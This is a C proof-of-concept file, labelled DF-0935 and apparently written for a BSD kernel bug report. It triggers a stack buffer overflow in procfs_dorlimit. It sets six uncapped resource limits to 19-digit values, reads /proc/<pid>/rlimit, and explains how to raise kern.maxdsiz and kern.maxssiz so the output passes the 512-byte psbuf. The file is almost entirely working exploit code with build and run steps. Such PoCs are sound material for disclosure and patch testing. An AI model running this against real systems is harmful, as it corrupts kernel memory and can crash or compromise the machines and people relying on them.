DF-0935 / dfpoc-rlimit-overflow.c
/* * dfpoc-rlimit-overflow.c - DF-0935 PoC: stack overflow via unbounded * ksprintf into psbuf[512] in procfs_dorlimit. * * Strategy: set 6 uncapped rlimits to RLIM_INFINITY-1 (19 decimal digits), * then read /proc/<pid>/rlimit. On default kernel config total output * stays under 512 bytes (the capped resources stay short). On a system * with kern.maxdsiz / kern.maxssiz raised to ~10^14 or above, the * capped resources also expand to 19 digits and total output exceeds * 512, overflowing psbuf and corrupting the kernel stack. * * Build: cc -o dfpoc-rlimit-overflow dfpoc-rlimit-overflow.c * Run: ./dfpoc-rlimit-overflow */ #include <sys/resource.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(void) { struct rlimit r; char path[64], buf[4096]; int fd, i; /* Six resources NOT capped by kern_setrlimit */ int res[] = {RLIMIT_CPU, RLIMIT_FSIZE, RLIMIT_CORE, RLIMIT_RSS, RLIMIT_SBSIZE, RLIMIT_VMEM}; /* Set soft=hard=RLIM_INFINITY-1 (19 decimal digits, not "-1"). */ r.rlim_cur = RLIM_INFINITY - 1; r.rlim_max = RLIM_INFINITY - 1; for (i = 0; i < (int)(sizeof(res) / sizeof(res[0])); i++) { if (setrlimit(res[i], &r) < 0) perror("setrlimit"); } /* Also try to inflate capped resources - caps clamp silently. */ if (setrlimit(RLIMIT_DATA, &r) < 0) perror("data"); if (setrlimit(RLIMIT_STACK, &r) < 0) perror("stack"); snprintf(path, sizeof(path), "/proc/%d/rlimit", (int)getpid()); fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 1; } ssize_t n = read(fd, buf, sizeof(buf)); printf("read %zd bytes from %s\n", n, path); if (n > 512) { printf("OVERFLOW TRIGGERED: ksprintf wrote past psbuf[512]\n"); } else { printf("no overflow on this config (default caps keep output < 512)\n"); printf("to trigger: raise kern.maxdsiz/kern.maxssiz in /boot/loader.conf\n"); } close(fd); return 0; } |